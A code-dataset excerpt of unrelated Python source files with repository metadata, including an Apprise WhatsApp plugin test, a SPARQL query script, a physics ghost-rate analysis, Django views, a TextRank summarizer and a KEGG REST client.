'whatsapp://template:e...e@1...5/%2B44444444444/',\n }),\n ('whatsapp://template:{}@12345/{}?lang=1234'.format('e' * 32, '4' * 11), {\n # template with invalid language over-ride\n 'instance': TypeError,\n }),\n ('whatsapp://template:{}@12345/{}?:1=test&:body=3&:type=2'.format(\n 'e' * 32, '4' * 11), {\n # template with kwarg assignments\n # {{1}} assigned test\n # {{2}} assigned Apprise Message type (special keyword)\n # {{3}} assigned Apprise Message body (special keyword)\n 'instance': NotifyWhatsApp,\n\n # Our expected url(privacy=True) startswith() response:\n 'privacy_url': 'whatsapp://template:e...e@1...5/%2B44444444444/',\n }),\n ('whatsapp://template:{}@12345/{}?:invalid=23'.format(\n 'e' * 32, '4' * 11), {\n # template with kwarg assignments\n # Invalid keyword specified; cna only be a digit OR `body' or 'type'\n 'instance': TypeError,\n }),\n ('whatsapp://template:{}@12345/{}?:body='.format(\n 'e' * 32, '4' * 11), {\n # template with kwarg assignments\n # No Body Assigment\n 'instance': TypeError,\n }),\n ('whatsapp://template:{}@12345/{}?:1=Test&:body=1'.format(\n 'e' * 32, '4' * 11), {\n # template with kwarg assignments\n # Ambiguious assignment {{1}} assigned twice\n 'instance': TypeError,\n }),\n ('whatsapp://{}:{}@123456/{}'.format('a' * 32, 'b' * 32, '4' * 11), {\n # using short-code (6 characters)\n 'instance': NotifyWhatsApp,\n }),\n ('whatsapp://_?token={}&from={}&to={}'.format(\n 'd' * 32, '5' * 11, '6' * 11), {\n # use get args to acomplish the same thing\n 'instance': NotifyWhatsApp,\n }),\n ('whatsapp://_?token={}&source={}&to={}'.format(\n 'd' * 32, '5' * 11, '6' * 11), {\n # use get args to acomplish the same thing (use source instead of from)\n 'instance': NotifyWhatsApp,\n }),\n ('whatsapp://{}@12345/{}'.format('e' * 32, '4' * 11), {\n 'instance': NotifyWhatsApp,\n # throw a bizzare code forcing us to fail to look it up\n 'response': False,\n 'requests_response_code': 999,\n }),\n ('whatsapp://{}@12345/{}'.format('e' * 32, '4' * 11), {\n 'instance': NotifyWhatsApp,\n # Throws a series of connection and transfer exceptions when this flag\n # is set and tests that we gracfully handle them\n 'test_requests_exceptions': True,\n }),\n)\n\n\ndef test_plugin_whatsapp_urls():\n \"\"\"\n NotifyWhatsApp() Apprise URLs\n\n \"\"\"\n\n # Run our general tests\n AppriseURLTester(tests=apprise_url_tests).run_all()\n\n\n@mock.patch('requests.post')\ndef test_plugin_whatsapp_auth(mock_post):\n \"\"\"\n NotifyWhatsApp() Auth\n - account-wide auth token\n - API key and its own auth token\n\n \"\"\"\n\n response = mock.Mock()\n response.content = ''\n response.status_code = requests.codes.ok\n\n # Prepare Mock\n mock_post.return_value = response\n\n # Initialize some generic (but valid) tokens\n token = '{}'.format('b' * 32)\n from_phone_id = '123456787654321'\n target = '+1 (555) 987-6543'\n message_contents = \"test\"\n\n # Variation of initialization without API key\n obj = Apprise.instantiate(\n 'whatsapp://{}@{}/{}'\n .format(token, from_phone_id, target))\n assert isinstance(obj, NotifyWhatsApp) is True\n assert isinstance(obj.url(), str) is True\n\n # Send Notification\n assert obj.send(body=message_contents) is True\n\n # Validate expected call parameters\n assert mock_post.call_count == 1\n first_call = mock_post.call_args_list[0]\n\n # URL and message parameters are the same for both calls\n assert first_call[0][0] == \\\n 'https://graph.facebook.com/v17.0/{}/messages'.format(\n from_phone_id)\n response = loads(first_call[1]['data'])\n assert response['text']['body'] == message_contents\n assert response['to'] == '+15559876543'\n assert response['recipient_type'] == 'individual'\n\n\n@mock.patch('requests.post')\ndef test_plugin_whatsapp_edge_cases(mock_post):\n \"\"\"\n NotifyWhatsApp() Edge Cases\n\n \"\"\"\n\n # Prepare our response\n response = requests.Request()\n response.status_code = requests.codes.ok\n\n # Prepare Mock\n mock_post.return_value = response\n\n # Initialize some generic (but valid) tokens\n token = 'b' * 32\n from_phone_id = '123456787654321'\n targets = ('+1 (555) 123-3456', )\n\n # No token specified\n with pytest.raises(TypeError):\n NotifyWhatsApp(\n token=None, from_phone_id=from_phone_id, targets=targets)\n\n # No from_phone_id specified\n with pytest.raises(TypeError):\n NotifyWhatsApp(\n token=token, from_phone_id=None, targets=targets)\n\n # a error response\n response.status_code = 400\n response.content = dumps({\n 'error': {\n 'code': 21211,\n 'message': \"The 'To' number +1234567 is not a valid phone number.\",\n },\n })\n mock_post.return_value = response\n\n # Initialize our object\n obj = NotifyWhatsApp(\n token=token,\n from_phone_id=from_phone_id, targets=targets)\n\n # We will fail with the above error code\n assert obj.notify('title', 'body', 'info') is False\n","repo_name":"caronc/apprise","sub_path":"test/test_plugin_whatsapp.py","file_name":"test_plugin_whatsapp.py","file_ext":"py","file_size_in_byte":7698,"program_lang":"python","lang":"en","doc_type":"code","stars":8936,"dataset":"github-code","pt":"21"} +{"seq_id":"72739510453","text":"import rdflib\nimport csv\nfrom rdflib import Graph\nfrom rdflib.plugins.sparql.results.csvresults import CSVResultSerializer\n\ng = Graph()\ng.parse(\"../data/result/data.rdf\",format=\"xml\")\nq = \"\"\"SELECT ?stateName (COUNT(?car) AS ?ANZAHL) ?brandName\n\t\tWHERE {\n\t\t\t?car car:plz ?plz ;\n\t\t\t\tcar:brand ?brand .\n\t\t\t?brand brand:name ?brandName .\n\t\t\t?plz plz:state ?state .\n\t\t\t?state state:name ?stateName .\n\t\t\tFILTER regex(?stateName, \"^Sachsen\") \n\t\t}\n\t\tGROUP BY ?state ?brand\n\t\tORDER BY ?stateName DESC(?ANZAHL) LIMIT 5\n\t\t\"\"\"\nrs = g.query(q)\nwith open('../data/result/spraqlResult.csv','w') as csvfile:\n\twrite = csv.writer(csvfile, delimiter=',', quotechar='\"')\n\twrite.writerow(['Bundesland','cars','Brand'])\n\tfor row in rs.result:\n\t\t#print('%s %s %s' % row)\n\t\twrite.writerow(row)","repo_name":"qnguyenl/htwk-sematicweb","sub_path":"rdf/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"9870796777","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[2]:\n\n\nimport ROOT\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport root_pandas as rp\nimport root_numpy as rn\nimport itertools\nfrom __future__ import division\n\n\n# In[19]:\n\n\n#filenames = [\"mag1_nocuts.root\", \"mag1_250_490.root\", \"mag1_300_540.root\", \"mag1_350_590.root\"]\n#filenames = [\"Reco_magdown_1b_250_450.root\", \"Reco_magdown_1b_300_540.root\", \"Reco_magdown_1b_350_630.root\", \"Reco_magdown_1b_275_495.root\", \"Reco_magdown_1b_325_585.root\", \"Reco_magdown_1b_nocuts.root\"]\n\nfilenames_bfix = [\"Reco_magdown1b_ellipse_250_125.root\", \"Reco_magdown1b_ellipse_300_125.root\", \n \"Reco_magdown1b_ellipse_350_125.root\", \"Reco_magdown1b_ellipse_400_125.root\", \n \"Reco_magdown1b_ellipse_450_125.root\", \"Reco_magdown1b_ellipse_500_125.root\",\n \"Reco_magdown1b_ellipse_550_125.root\", \"Reco_magdown1b_ellipse_600_125.root\",\n \"Reco_magdown1b_ellipse_650_125.root\"]\nxaxis_bfix = [250,300,350,400,450,500,550,600,650]\n\nfilenames_afix = [\"Reco_magdown1b_ellipse_300_100.root\", \"Reco_magdown1b_ellipse_300_125.root\", \n \"Reco_magdown1b_ellipse_300_150.root\", \"Reco_magdown1b_ellipse_300_200.root\",\n \"Reco_magdown1b_ellipse_300_250.root\", \"Reco_magdown1b_ellipse_300_300.root\",\n \"Reco_magdown1b_ellipse_300_350.root\", \"Reco_magdown1b_ellipse_300_400.root\"]\nxaxis_afix = [100,125,150,200,250,300,350,400]\n\nfilenamelists = [filenames_bfix, filenames_afix]\nxaxislists = [xaxis_bfix, xaxis_afix]\nxlabels = [\"a in ellipse IT cuts (mm), b fixed to 125 mm\", \"b in ellipse IT cuts (mm), a fixed to 300 mm\"]\n\n\n# In[20]:\n\n\ndef get_ghostrate(title1, title2):\n \n #nPV_Ghosts\n nums1 = rn.hist2array(title1, copy=True)\n nghosts = np.sum(nums1)\n \n #nPV_Total\n nums2, edges2 = rn.hist2array(title2, return_edges=True, copy=True)\n ntot = np.sum(nums2)\n \n ghostrate = nghosts/ntot\n \n #print nghosts, ntot\n #check why they are slightly wrong\n \n return ntot, ghostrate\n\n\n# In[21]:\n\n\n#Ghost rate\n\n\nfig, axes = plt.subplots(1,len(filenamelists))\nfig.set_figheight(5)\nfig.set_figwidth(10)\nfig.suptitle(\"Ghost rate in ellipse IT cut\")\n\n\npath1 = \"Track/PrChecker/TTrack/Eta_Ghosts\"\npath2 = \"Track/PrChecker/TTrack/Eta_Total\"\npaths_list1 = path1.split(\"/\")\npaths_list2 = path2.split(\"/\")\n\nfor filenamelist in filenamelists:\n totnumber = []\n ghostrate = []\n labelxbar = []\n for filename in filenamelist:\n xaxis = xaxislists[filenamelists.index(filenamelist)]\n f = ROOT.TFile.Open(filename, 'read')\n first = True\n for ipathlet in paths_list1:\n if first:\n current_item1 = f.Get(ipathlet)\n first = False\n else:\n current_item1 = current_item1.Get(ipathlet)\n if str(type(current_item1))==\"\":\n break\n\n first = True\n for ipathlet in paths_list2:\n if first:\n current_item2 = f.Get(ipathlet)\n first = False\n else:\n current_item2 = current_item2.Get(ipathlet)\n if str(type(current_item2))==\"\":\n break\n\n totnum, ghostratenum = get_ghostrate(current_item1, current_item2)\n ghostrate.append(ghostratenum)\n #print(filename, (ghostratenum*100))\n totnumber.append(totnum)\n #labelxbar.append((filename.strip(\".root\")).strip(\"mag1_\"))\n #labelxbar.append((filename.strip(\".root\")).strip(\"Reco_magdown_1b_\"))\n labelxbar.append((filename.strip(\".root\")).strip(\" Reco_magdown1b_ellipse_\"))\n axes[filenamelists.index(filenamelist)].set_title(\"Ghost rate\")\n #axes[filenamelists.index(filenamelist)].plot(xaxis, ghostrate, marker='x', linewidth=1, markersize=10)\n axes[filenamelists.index(filenamelist)].scatter(xaxis, ghostrate, marker='x', linewidth=1)\n axes[filenamelists.index(filenamelist)].set_xlabel(xlabels[filenamelists.index(filenamelist)])\n axes[filenamelists.index(filenamelist)].set_ylabel(\"Ghost rate\")\n\n\n fig.savefig(\"Ghost rate\", bbox_inches='tight')\n\n\nplt.show()\n\n\n# In[22]:\n\n\ndef get_efficiency(title1, title2):\n \n #nPV_reconstructed\n nums1, edges1 = rn.hist2array(title1, return_edges=True, copy=True)\n n_ed = np.sum(nums1)\n \n #nPV_reconstructible\n nums2, edges2 = rn.hist2array(title2, return_edges=True, copy=True)\n n_ible = np.sum(nums2)\n \n efficiency = n_ed/n_ible\n \n return efficiency \n\n\n# In[24]:\n\n\n#efficiencies\n\n\n\ncommonpath = \"Track/PrChecker/TTrack/\"\ntypes = [\"hasT_\", \"long_\", \"long>5GeV_\"]\nend_path1 = \"Eta_reconstructed\"\nend_path2 = \"Eta_reconstructible\"\n\n\n\n\n\nfig, axes = plt.subplots(len(filenamelists),len(types))\nfig.set_figheight(8)\nfig.set_figwidth(15)\nfig.suptitle(\"Reconstruction efficiency\")\n\n\nfor typetrack in types:\n \n \n path1 = commonpath + typetrack + end_path1\n path2 = commonpath + typetrack + end_path2\n paths_list1 = path1.split(\"/\")\n paths_list2 = path2.split(\"/\")\n \n for filenamelist in filenamelists:\n xaxis = xaxislists[filenamelists.index(filenamelist)]\n efficiencies = []\n labelxbar = []\n for filename in filenamelist:\n f = ROOT.TFile.Open(filename, 'read')\n first = True\n for ipathlet in paths_list1:\n if first:\n current_item1 = f.Get(ipathlet)\n first = False\n else:\n current_item1 = current_item1.Get(ipathlet)\n if str(type(current_item1))==\"\":\n break\n\n first = True\n for ipathlet in paths_list2:\n if first:\n current_item2 = f.Get(ipathlet)\n first = False\n else:\n current_item2 = current_item2.Get(ipathlet)\n if str(type(current_item2))==\"\":\n break\n\n efficiencies.append(get_efficiency(current_item1, current_item2))\n #print(filename, paths_list1, get_efficiency(current_item1, current_item2)*100)\n\n \n axes[filenamelists.index(filenamelist), types.index(typetrack)].set_title(typetrack.strip(\"_\"))\n #axes[filenamelists.index(filenamelist), types.index(typetrack)].plot(xaxis, efficiencies, marker='x', linewidth=1, markersize=10)\n axes[filenamelists.index(filenamelist), types.index(typetrack)].scatter(xaxis, efficiencies, marker='x', linewidth=1)\n\n axes[filenamelists.index(filenamelist), types.index(typetrack)].set_xlabel(xlabels[filenamelists.index(filenamelist)])\n axes[filenamelists.index(filenamelist), types.index(typetrack)].set_ylabel(\"Efficiency\")\n \n plt.subplots_adjust(left=None, bottom=None, right=None, top=None, wspace=None, hspace=0.4)\n\n fig.savefig(\"Efficiencies\", bbox_inches='tight')\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"irenecortinovis/Semester-project-LHCb","sub_path":"ITcuts/MightyIT_integrated_eff_gr_ellipses.py","file_name":"MightyIT_integrated_eff_gr_ellipses.py","file_ext":"py","file_size_in_byte":7005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42112044462","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom django.http import HttpResponse,JsonResponse,HttpResponseRedirect\nfrom website.forms import ContactForm,NewsletterForm\nfrom website.models import contact\nfrom django.contrib import messages\n\n#def _test(request):\n# return HttpResponse('

HTTP response

')\n\n#def json_test(request):\n# return JsonResponse({'name':'roza','family':'afarin'})\ndef home_index(request):\n #return HttpResponse('

home page

')\n return render(request,'website/index.html')\n\ndef about_index(request):\n #return HttpResponse('

about page

')\n return render(request,'website/about.html')\n\ndef contact_index(request):\n if request.method == 'POST':\n form = ContactForm(request.POST)\n if form.is_valid():\n form = form.save(commit=False)\n form.name = 'unknown'\n form = form.save()\n messages.add_message(request, messages.SUCCESS, \"your ticket submitted successfully\")\n else:\n messages.add_message(request, messages.ERROR, \"your ticket didn't submitted\")\n form = ContactForm()\n return render(request,'website/contact.html',{'form':form})\n\ndef newletter_index(request):\n if request.method == 'POST':\n form = NewsletterForm(request.POST)\n if form.is_valid():\n form.save()\n messages.add_message(request, messages.SUCCESS, \"your email addr submitted successfully\")\n else:\n messages.add_message(request, messages.ERROR, \"your email addr didn't submitted\")\n return HttpResponseRedirect('/')\n","repo_name":"Roza-Afarin/mySite","sub_path":"website/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"30632378083","text":"from nimGame import nimGame\n\nif __name__ == '__main__':\n \n entrada = int(input().rstrip())\n \n for g_itr in range(entrada):\n \n n = int(input().strip())\n \n pilha = list(map(int, input().rstrip().split()))\n \n resultado = nimGame(pilha)\n \n print(resultado + '\\n')\n ","repo_name":"diegotpereira/Desafio-hackerrank-python","sub_path":"Algorithms/game-theory/nim-game-1/tests/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41784009894","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\nimport argparse\nfrom datetime import datetime\n\nfrom osc_lib.i18n import _\n\n\ndef date_type(date_format):\n def wrapped(user_input):\n try:\n return datetime.strptime(user_input, date_format)\n except ValueError:\n tpl = _(\"%s is not a valid date with format %s\")\n msg = tpl % (user_input, date_format)\n raise argparse.ArgumentTypeError(msg)\n\n return wrapped\n\n\ndef int_range_type(from_, to):\n def wrapped(user_input):\n try:\n int_user_input = int(user_input)\n except ValueError:\n msg = _(\"Not a valid integer value: %s\") % user_input\n raise argparse.ArgumentTypeError(msg)\n\n if int_user_input > to:\n tpl = _(\"Your input %s is great than max valid value %d\")\n msg = tpl % (user_input, to)\n raise argparse.ArgumentTypeError(msg)\n\n if int_user_input < from_:\n tpl = _(\"Your input %s is less than min valid value %d\")\n msg = tpl % (user_input, from_)\n raise argparse.ArgumentTypeError(msg)\n\n return int_user_input\n\n return wrapped\n","repo_name":"Huawei/OpenStackClient_CES","sub_path":"cloudeyeclient/common/parsetypes.py","file_name":"parsetypes.py","file_ext":"py","file_size_in_byte":1730,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"25040675080","text":"\"\"\"\nDefines the number of non-matching contiguous frames to allow before \na new section is created.\n\"\"\"\nDEFAULT_STREAK_SIZE = 2\n\n\n# A contiguous sequence of matching predictions.\nclass Streak:\n start = 0\n count = 0\n value = None\n\n\n\"\"\"\nQuantizes the predictions into sections based on streaks of matching predictions.\n:param predictions: A list of predictions. [{value: string, confidence: float}]\n:return: A list of sections. [{start: int, end: int, value: string}]\n\"\"\"\n\n\ndef quantize_predictions(predictions, streak_size=DEFAULT_STREAK_SIZE):\n if len(predictions) == 0:\n return []\n\n # Maintain 2 streaks, streak_1 is the primary streak, streak_2 is the \"next streak\"\n # If streak_2 is long enough, then we can promote it to streak_1\n streak_1 = Streak()\n streak_2 = Streak()\n streaks = []\n\n def save_streak(streak, end):\n streaks.append({\n 'start': streak.start,\n 'end': end,\n 'value': streak.value,\n })\n\n for i, prediction in enumerate(predictions):\n value = prediction.get('value')\n if streak_1.value is None:\n streak_1.value = value\n streak_1.start = i\n streak_1.count = 1\n continue\n\n if value == streak_1.value:\n streak_1.count += 1\n continue\n\n if value != streak_2.value:\n streak_2.value = value\n streak_2.start = i\n streak_2.count = 1\n continue\n\n if value == streak_2.value:\n streak_2.count += 1\n if streak_2.count >= streak_size:\n if (streak_1.count >= streak_size):\n save_streak(streak_1, streak_2.start)\n streak_1 = streak_2\n streak_2 = Streak()\n continue\n\n if (streak_1.count >= streak_size):\n save_streak(streak_1, len(predictions))\n return streaks\n","repo_name":"dharness/yogoflow","sub_path":"server/yogoflow/services/prediction_analysis.py","file_name":"prediction_analysis.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31508858095","text":"from typing import Union, TYPE_CHECKING\n\nfrom battle.construct.enum import DamageType\n\nif TYPE_CHECKING:\n from battle.construct import Champion\n\n\nclass Damage:\n def __init__(self, champion: 'Champion', damage: Union[int, float], damage_type: DamageType, **kwargs):\n self.champion = champion\n self.damage: Union[int, float] = damage\n self.type: DamageType = damage_type\n self.critical_damage: Union[int, None] = None\n self.damage_increase = 0\n self.damage_reduce = 0\n self.is_miss: bool = False\n self.ignore_miss: bool = False\n self.resist = {\n DamageType.PHYSICAL: 0,\n DamageType.MAGIC: 0,\n DamageType.TRUE: 0,\n }\n\n if \"critical_damage\" in kwargs.keys():\n self.critical_damage = kwargs[\"critical_damage\"]\n if \"is_miss\" in kwargs.keys():\n self.is_miss = kwargs[\"is_miss\"]\n if \"ignore_miss\" in kwargs.keys():\n self.ignore_miss = kwargs[\"ignore_miss\"]\n if \"armor\" in kwargs.keys():\n self.resist[DamageType.PHYSICAL] = kwargs[\"armor\"]\n if \"magic_resistance\" in kwargs.keys():\n self.resist[DamageType.MAGIC] = kwargs[\"magic_resistance\"]\n\n def set_armor(self, armor: Union[int, float]):\n self.resist[DamageType.PHYSICAL] = armor\n\n def set_magic_resistance(self, magic_resistance: Union[int, float]):\n self.resist[DamageType.MAGIC] = magic_resistance\n\n def set_critical(self, critical_damage: int):\n self.critical_damage = critical_damage\n\n def set_damage_increase(self, damage_increase: float):\n self.damage_increase = damage_increase\n\n def set_damage_reduce(self, damage_reduce: float):\n self.damage_reduce = damage_reduce\n\n def set_miss(self, is_miss: bool):\n self.is_miss = is_miss\n\n def set_ignore_miss(self, ignore_miss: bool):\n self.critical_damage = ignore_miss\n\n def get_pre_mitigated(self):\n if self.is_miss and not self.ignore_miss:\n return 0\n result = self.damage\n if self.critical_damage:\n result *= (self.critical_damage / 100)\n return result\n\n def calc(self) -> Union[int, float, None]:\n if self.is_miss and not self.ignore_miss:\n return None\n result = self.damage * (100 / (100 + self.resist[self.type]))\n if self.critical_damage:\n result *= (self.critical_damage / 100)\n\n result += result * self.damage_increase\n result -= result * self.damage_reduce\n return result\n","repo_name":"TikaWorld/TFT-simulator","sub_path":"src/battle/construct/damage.py","file_name":"damage.py","file_ext":"py","file_size_in_byte":2565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11657680206","text":"from nltk.corpus import stopwords\nfrom nltk.cluster.util import cosine_distance\nimport numpy as np\nfrom operator import itemgetter\nimport nltk.data\nfrom nltk.tokenize import word_tokenize\n\n# nltk.download(\"punkt\")\n# nltk.download(\"stopwords\")\n\nstop_words = set(stopwords.words(\"english\"))\n\n\ndef sentence_similarity(sent1, sent2):\n sent1 = [w.lower() for w in nltk.word_tokenize(sent1)]\n sent2 = [w.lower() for w in nltk.word_tokenize(sent2)]\n\n all_words = list(set(sent1 + sent2))\n\n vector1 = [0] * len(all_words)\n vector2 = [0] * len(all_words)\n\n for w in sent1:\n if w in stop_words:\n continue\n vector1[all_words.index(w)] += 1\n\n for w in sent2:\n if w in stop_words:\n continue\n vector2[all_words.index(w)] += 1\n\n return 1 - cosine_distance(vector1, vector2)\n\n\ndef _pagerank(A, eps=0.0001, d=0.5):\n \"\"\"\n 1. eps: stop the algorithm when the difference between 2 consecutive iterations is smaller or equal to eps\n 2. d: damping factor: With a probability of 1-d the user will\n simply pick a web page at random as the next destination, ignoring the link structure completely.\n :param A:\n :param eps:\n :param d:\n :return:\n \"\"\"\n P = np.ones(len(A)) / len(A)\n while True:\n new_P = np.ones(len(A)) * (1 - d) / len(A) + d * A.T.dot(P)\n delta = abs(new_P - P).sum()\n if delta <= eps:\n return new_P\n P = new_P\n\n\ndef build_similarity_matrix(sentences):\n S = np.zeros((len(sentences), len(sentences)))\n for id1 in range(len(sentences)):\n for id2 in range(len(sentences)):\n S[id1][id2] = sentence_similarity(sentences[id1], sentences[id2])\n\n for id in range(len(S)):\n S[id] /= S[id].sum()\n return S\n\n\ndef textrank(paragraph, top_n=5):\n #tokenizer = nltk.data.load(\"tokenizers/punkt/english.pickle\")\n #sentences = tokenizer.tokenize(paragraph)\n sentences = nltk.sent_tokenize(paragraph)\n S = build_similarity_matrix(sentences)\n sentence_rank = _pagerank(S)\n # Sorting sentence by rank\n sorted_sentences = [item[0] for item in sorted(enumerate(sentence_rank), key=lambda item: -1 * item[1])]\n selected_sentences = sorted_sentences[:top_n]\n # itemgetter('name')({'name': 'tu', 'age': 18}) Output : \"tu\"\n summary = itemgetter(*selected_sentences)(sentences)\n return summary\n","repo_name":"EduardoSaverin/Machine-Learning-APIs","sub_path":"nlp/textrank.py","file_name":"textrank.py","file_ext":"py","file_size_in_byte":2382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24607219248","text":"\n\n# https://www.geeksforgeeks.org/reverse-alternate-levels-binary-tree/\n#\n\nfrom collections import defaultdict\n\nclass Node():\n\n\tdef __init__(self, value, left=None, right=None):\n\t\tself.value = value\n\t\tself.left = left\n\t\tself.right = right\n\n\ndef read_in_order_left(node, k, Q):\n\tif node is None:\n\t\treturn\n\n\tread_in_order_left(node.left, k+1, Q)\n\t\n\tif k % 2 == 1:\n\t\tQ[k].append(node.value)\n\n\tread_in_order_left(node.right, k+1, Q)\n\n\ndef write_in_order_right(node, k, Q):\n\tif node is None:\n\t\treturn\n\n\twrite_in_order_right(node.right, k+1, Q)\n\n\tif k % 2 == 1:\n\t\tq = Q[k].pop(0)\n\t\tnode.value = q\n\n\twrite_in_order_right(node.left, k+1, Q)\n\n\ndef rev_odd(root):\n\tQ = defaultdict(list)\n\tread_in_order_left(root, 0, Q)\n\twrite_in_order_right(root, 0, Q)\n\n\ndef bfs(root):\n\tQ = [(0, root)]\n\tD = defaultdict(list)\n\tk = 0\n\t\n\twhile Q:\n\t\tk, node = Q.pop(0)\n\n\t\tD[k].append((k, node.value))\n\t\t\n\t\tN = [node.left, node.right]\n\t\tfor n in N:\n\t\t\tif n is not None:\n\t\t\t\tQ.append((k+1, n))\n\n\treturn D\n\n\ndef test():\n\troot = Node(8, Node(4, Node(2, Node(1), Node(3)),\n\t\t\t\t\t\t Node(6, Node(5), Node(7))),\n\t\t\t\t Node(12, Node(10, Node(9), Node(11)), \n\t\t\t\t\t\t Node(14, Node(13), Node(15))) )\n\n\tQ = bfs(root)\n\tfor k in Q.keys():\n\t\tprint([y for x,y in Q[k]])\n\n\trev_odd(root)\n\tprint()\n\n\tQ = bfs(root)\n\tfor k in Q.keys():\n\t\tprint([y for x,y in Q[k]])\n\n\ntest()\n","repo_name":"PavelKolev/exercises","sub_path":"bst/perfect_reverse_odd_layers.py","file_name":"perfect_reverse_odd_layers.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10778367633","text":"import requests\nfrom warnings import warn\n\nfrom .KeggReaction import KeggReaction\nfrom .KeggEnzyme import KeggEnzyme\n\n# Base URL for KEGG website\nkegg_url = 'http://rest.kegg.jp/'\n\n\nclass QueryError(Exception):\n \"\"\" Exception raised when there is an error with a KEGG query \"\"\"\n pass\n\n\ndef _kegg_request(url, result):\n \"\"\" Send a request to the KEGG web service.\n\n Parameters\n ----------\n url : str\n KEGG API request URL\n result : list of str\n List of lines from query result\n\n Returns\n -------\n list of str\n Updated list of lines with results from this query\n \"\"\"\n\n # Send the request and receive the response from the web service.\n response = requests.get(url)\n if response.status_code != requests.codes.OK:\n response.raise_for_status()\n\n # When the status code indicates a failure, raise an exception with the details.\n # @todo will this even run?\n if response.status_code != 200:\n if response.status_code == 400:\n reason = 'bad request (syntax error, wrong database name, etc.)'\n elif response.status_code == 404:\n reason = 'not found'\n else:\n reason = 'unknown ({0})'.format(response.status_code)\n raise QueryError('Query {0} failed: {1}'.format(url, reason))\n\n # Add the response to the current results.\n result.extend(response.text.split('\\n')[:-1]) # Remove the empty last line\n return result\n\n\ndef get_kegg_records(db_name, id_list, option=None):\n \"\"\" Get records from a KEGG database.\n\n Parameters\n ----------\n db_name : str\n Name of database to get_kegg_records records from\n id_list : list of str\n List of IDs of records to get_kegg_records\n option : str\n Option value for request\n\n Returns\n -------\n list of str\n List of lines from records for specified IDs\n \"\"\"\n\n # The web service limits the size of the query to 10 items.\n increment = 10\n start = 0\n if len(id_list) > increment:\n end = start + increment\n else:\n end = len(id_list)\n counter = len(id_list)\n\n # Run through the list of IDs until all have been processed.\n result = list()\n while counter > 0:\n # Build the query string.\n query = ''\n for index in range(start, end):\n query += db_name + ':' + id_list[index] + '+'\n\n # Adjust for the next query.\n start += increment\n end += increment\n if end > len(id_list):\n end = len(id_list)\n counter -= increment\n\n # Send the request.\n url = '{0}get/{1}'.format(kegg_url, query[:-1]) # Take off trailing +\n if option is not None:\n url = url + '/' + option\n result = _kegg_request(url, result)\n\n return result\n\n\ndef list_kegg_ids(db_name):\n \"\"\" Return a list of entry identifiers and associated definitions for a given database.\n\n Parameters\n ----------\n db_name : str\n Name of database to query\n\n Returns\n -------\n list of str\n List of lines from query result\n \"\"\"\n\n # Retrieve the list.\n return _kegg_request('{0}list/{1}'.format(kegg_url, db_name), list())\n\n\ndef get_kegg_metabolites(id_list):\n\n warn('Getting metabolites (or compounds) from KEGG is not supported yet')\n return\n\n\ndef get_kegg_reactions(id_list):\n \"\"\" Get reactions from the KEGG reaction database.\n\n Parameters\n ----------\n id_list : list of str\n List of KEGG reaction IDs\n\n Returns\n -------\n list of KeggReaction objects\n Objects for returned reactions\n \"\"\"\n\n # Get the records from the reaction database.\n record_list = get_kegg_records('rn', id_list)\n\n # Convert the returned reaction records to KeggReaction objects.\n reaction_list = list()\n start = 0\n for index in range(len(record_list)):\n if record_list[index] == '///':\n reaction_list.append(KeggReaction(record_list[start:index + 1]))\n start = index + 1\n\n return reaction_list\n\n\ndef get_kegg_enzymes(id_list):\n \"\"\" Get enzymes from the enzyme database.\n\n Parameters\n ----------\n id_list : list of str\n List of KEGG enzyme IDs\n\n Returns\n -------\n list of KEGGEnyzme objects\n Objects for returned enzymes\n \"\"\"\n\n # Get the records from the enzyme database.\n record_list = get_kegg_records('ec', id_list)\n\n # Convert the returned enzyme records to KeggEnzyme objects.\n enzyme_list = list()\n start = 0\n for index in range(len(record_list)):\n if record_list[index] == '///':\n enzyme_list.append(KeggEnzyme(record_list[start:index + 1]))\n start = index + 1\n\n return enzyme_list\n\n\ndef get_kegg_amino_acid_seq(code, gene_list):\n \"\"\" Get amino acid sequences for a list of genes from an organism.\n\n Parameters\n ----------\n code : str\n Organism code (3 or 4 character string)\n gene_list : list of str\n List of KEGG gene IDs in organism\n\n Returns\n -------\n list of str\n List of lines in FASTA format with amino acid sequence for specified genes\n \"\"\"\n\n # @todo Maybe the sequences should be returned in a better data structure\n return get_kegg_records(code, gene_list, option='aaseq')\n\n\ndef get_kegg_dna_seq(code, gene_list):\n \"\"\" Get DNA sequences for a list of genes from an organism.\n\n Parameters\n ----------\n code : str\n Organism code (3 or 4 character string)\n gene_list : list of str\n List of KEGG gene IDs in organism\n\n Returns\n -------\n list of str\n List of lines in FASTA format with DNA sequence for specified genes\n \"\"\"\n\n return get_kegg_records(code, gene_list, 